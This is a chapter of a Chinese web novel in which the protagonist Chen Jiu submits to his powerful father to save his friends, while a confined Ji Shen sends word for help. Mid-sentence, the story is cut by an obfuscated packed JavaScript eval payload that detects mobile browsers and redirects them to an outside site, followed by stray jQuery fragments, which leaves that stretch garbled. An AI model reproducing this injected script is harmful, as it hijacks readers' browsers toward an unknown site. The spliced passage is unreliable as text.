小报探官札记团子贝琳达

69. 屈服

薛记香水行。


汤池内的水已被排干,但热气未退,空气中还氤氲着若有似无的水汽。


偌大的浴堂中,只有刷子刷过汤池石壁的声音格外清晰,在空旷的房间内反复回荡。


薛记香水行是陈氿的义父薛重的产业,在汤池内奋力洗刷的人正是陈氿。


昔年遇到薛重时,薛重双腿被废,可在陈氿心里,薛重始终高大如山,是他最敬重的人。


如今陈氿被逼至束手无策,唯一想去、能去的地方只有薛重的香水行。


不知过了多久,一阵“咕噜咕噜”的声音突然出现,轮椅载着一人由远及近,来到汤池边。


轮椅上的男子已至中年,面部轮廓方正,冷峻如寒石,虽不良于行,但端坐的上半身背脊挺拔,依稀可以看出他过往是何等的身手矫健。


男子开口时声音没有起伏,话语也仿佛没有温度,简洁得不能更简洁,“上来。”


陈氿提着刷子一跃而起,跳回石头铺就的地面,“义父。”


薛重眼风扫过被刷得光滑发亮的石壁,一阵见血地道:“你不开心。”


“丁叔被打断手臂,秾翠阁被砸,老邱在县衙等待被判刑,所有糟糕的事在一日内同时发生,而罪魁祸首,是孟淮。他没有打我、骂我、囚禁我、陷害我,却将一切施加给了我身边的人,用这种方式折磨我、逼迫我。”


陈氿将刷子狠狠掷进铜盆,铜盆内的水飞溅而出,淋在陈氿面颊,与泪水混在一处。


“最可恶的是我,我以为我可以当他不存在,以为我可以护得住身边的所有人,可以做我自己想做的事,可是我不能,在他的权势地位面前,我也只是他眼中的蝼蚁!我连累了所有人,可是除了愧疚,我什么都做不了!”


陈氿颓然跪倒,双手青筋暴起,紧握成拳,猛地击向地面。


一击之后,陈氿仿若没有痛觉,再次抬手。


拳头如雨点接二连三地落下,手指关节处鲜血涌出,染红了拳头,又不断流淌到地面。


薛重伸出手按在陈氿肩头,动作看似随意,力道却重如千钧,“停下。”


陈氿停下砸拳的动作,抬头看向薛重,眼眶又无法抑制地泛酸。


情绪就像被崩断的弦,再也压抑不住,愤怒、崩溃、绝望齐齐涌上,化作了一声深长痛苦的呐喊。


“啊——”


许久之后,声音止息,唯留无力感始终挥之不去。


困局仍在,可他已然无计可施。


薛重静静看着陈氿发泄,在陈氿剧烈起伏的情绪面前,依旧维持着冷静的神情和音调,“我可以闯进万年县衙,救出邱常发。杀了孟淮,有些难办,但也能做。”


陈氿直起腰与薛重对视,“义父,我知您可以,但我也知道,您没有将自身的性命安危考虑在内。您愿意为了我涉险,但我不愿眼睁睁地看您送命。当初我有幸与您相识,您教会我本领,认我为义子,我承诺过您,会照顾您的余生。”


“还有一个办法。忍下暂时的屈辱,做回孟淮的儿子,顺从他、麻痹他,蛰伏等待一击毙命的时机。你做得到。”


陈氿眼中闪过嫌恶,眉头蹙起,“之前孟淮派人找我,我考虑过要不要如此行事,当时我尚且犹豫,如今更是觉得无比恶心。”


薛重冷硬惯了,平静客观地向陈氿陈述,“你只有三个选择。一,你不必再管,让我替你解决。二,暂且向孟淮屈服。三,抛下华都的所有人和事,离开此地。”


陈氿垂下眼睑,睫毛轻颤,不自觉地咬紧牙关,双拳再次紧握。


片刻后,陈氿拱手于地,重重叩头,“义父提醒得是,我应当认清楚对我最重要的是什么。我已别无选择,不该再计较什么屈辱恶心,我受得住。”


眼前伸手不见五指,纪莘的意识仿若漂浮于混沌,游游荡荡,恍恍惚惚。


有细微的像猫爪挠门的声音传进耳朵,纪莘只当那是转瞬就会消失的幻觉,没想到声音竟持续了许久。


纪莘终于意识到,那声音好像来自窗户的位置,好像是真实的。


额头滚烫,全身酸软,纵然那声音古怪可疑,但纪莘连坐起的力气都没有,更无力摸去窗边查看。


直到随着“嘎吱”一声,一丝月光倾泻进房间,纪莘咬牙强撑着坐起,爬向窗边。


窗外有人小声地唤她:“珍珍,珍珍?”


是梁霈。


纪莘抬手扒住窗台,手臂用力拉扯着身躯站起,靠近封死窗户的木板被撬出的小洞,“六娘?”


窗外的梁霈终于等到回应,声音虽刻意压低,却难掩激动,“对,是我!”


一个小油纸包被放上窗台,顺着小洞勉强地被推进房间,梁霈道:“珍珍,这是点心。还有两包,你收好。”说着梁霈又塞了两个小油纸包进来。


纪莘抱紧三包点心,面颊凑近小洞,“多谢。”


光线暗下,是窗外的梁霈也凑近了小洞,“不必谢我,我能力微薄,太过无用,无法救你,你谢我,我真是受不起。珍珍,你在府外一定有可信的友人,他们当中有人能救你吗?明日我有出府的机会,我可以去找他们,通知他们救你。”


可信的友人吗?


纪莘有信任的友人,但她不知他眼下境况如何。


梁霈没听到纪莘回应,又唤了一声,“珍珍,你还在吗?”


“我在。昭行坊东门附近有一户姓丁的人家,门前有一棵大梨树,门上贴着神茶、郁垒两位门神。你去这家,和他们讲我的处境,请他们告诉一个叫陈氿的人。”


“好。‘陈氿’会来救你吗?”


纪莘声音轻缓,但透着肯定,“他会。”


轻阴笼罩的天气下,空气中都仿佛弥漫着沉闷和压抑,陈氿站在万年县衙门口,仰望着门框上方金字黑底的牌匾。


上一次来这里,他极力闹出动静,可是被所有人无视,而这一次,他只想站在门口等人,县令却恨不得亲手把他抬进县衙。


多讽刺。


衣衫齐整的邱常发在县丞的搀扶下,步伐缓慢地走出县衙大门,朝等待他的陈氿呲牙笑了笑。


陈氿快步走向邱常发,扶住他的手臂,对县丞道:“有劳。”


县丞笑得满脸讨好,“岂敢岂敢。二位还请稍待,县衙已备好马车,可送二位一程。”


“不必。”陈


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935862|154039||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


氿平静回应。


“邱郎君眼下经不得折腾,马车……”


县丞还想劝说,陈氿心中厌烦,眸色转寒,冷冷地瞟向县丞,县丞被吓得立刻噤了声。


待县丞作揖离开,邱常发推开搀扶他的陈氿,“我没事,不用人扶。也不知道这县衙里的人是发了什么疯,今日突然变得毕恭毕敬的。放我出来之前,特意给我备了一身干净衣袍,县丞还非要送我出来,我说不用,可他直接把我架上了,我身上到处都疼,懒得和他拉拉扯扯没完没了的,索性由着他了。他方才还说什么备马车,我的天爷啊,他们是不是吃错药了?”


陈氿上下扫视邱常发,可邱常发换了衣服,陈氿看不出邱常发何处受了伤,“他们对你动刑了?”


邱常发拍拍陈氿,示意陈氿往街上走,“哪有人进了衙门能毫发无伤,我身体好,一点小伤而已,完全没事。陈氿,你用了什么手段,他们怎么如此服服帖帖?看他们那嘴脸,我简直怀疑你是不是已经回了宣国公府。”


陈氿步伐停滞了一瞬,又立刻恢复如常,可即使陈氿努力装作无事,陈氿的沉默还是让邱常发察觉到了不对。


邱常发猛地停下脚步,“不是吧,你真回宣国公府了?为了我的事?”陈氿不语,邱常发不由得眉头皱紧,“我的事只是一桩误会,纵然挨了些打,但总能解释清楚的,何至于令你向宣国公屈服?”


陈氿嘴角溢出一丝苦笑,“老邱,为何宋培恩退回的礼物会变成禁书,为何县衙会当场抓住带着禁书的你,为何县衙迟迟不审你的案子,却对你用刑?你的事不是误会,是孟淮处心积虑设下的陷阱。”


邱常发一点就透,迅速从陈氿的话中感受到了他的不得已,于是努力用轻松的语调安慰道:“行,如今这样也挺好。你想哈,孟淮的后宅里定然有许多姬妾,他没想着再生十个八个儿子,反倒是一心想把你找回去,可见他对你有感情,我看他这人还行。所以你也不必不开心,既然他对你有感情,未来不管你是想和他重修关系,还是想报复他,都好办。”


“丁叔被几个泼皮打了,秾翠阁被人砸了,阁里的许多人受了伤。这些都是孟淮干的,都发生在你被抓的那日。”


邱常发惊讶地张大嘴巴,片刻后才合上,“窈娘有没有事?”


“她受伤不多,但秾翠阁眼下做不了生意,你又被关在县衙,她少不得要忧心。”


邱常发心头的火气迅速燃起,以手指天,仰头破口大骂,“我去他个乌龟儿子王八蛋的,有权有势了不起啊!”


陈氿啼笑皆非,“你方才不是说孟淮这人还行,怎么转头就骂上了?”


邱常发长叹一口气,心酸又心疼地拍拍陈氿肩膀,“你这几日一定很是煎熬,没事,至少现在风波暂时过去了,往后的事,往后再说。对了,你怎么没提阿莘,她没事吧?”


“她没事。你被抓之后,她来通知了我,我将她送回了梁家。只要她不出门,应当是安全的。我再去看看丁叔,确认无虞之后,我就去找纪莘。”


邱常发松了口气,“那就好。走吧,我和你一起去看丁叔,然后我还得去见窈娘,她那脾气,说不准会挠我个满脸花。”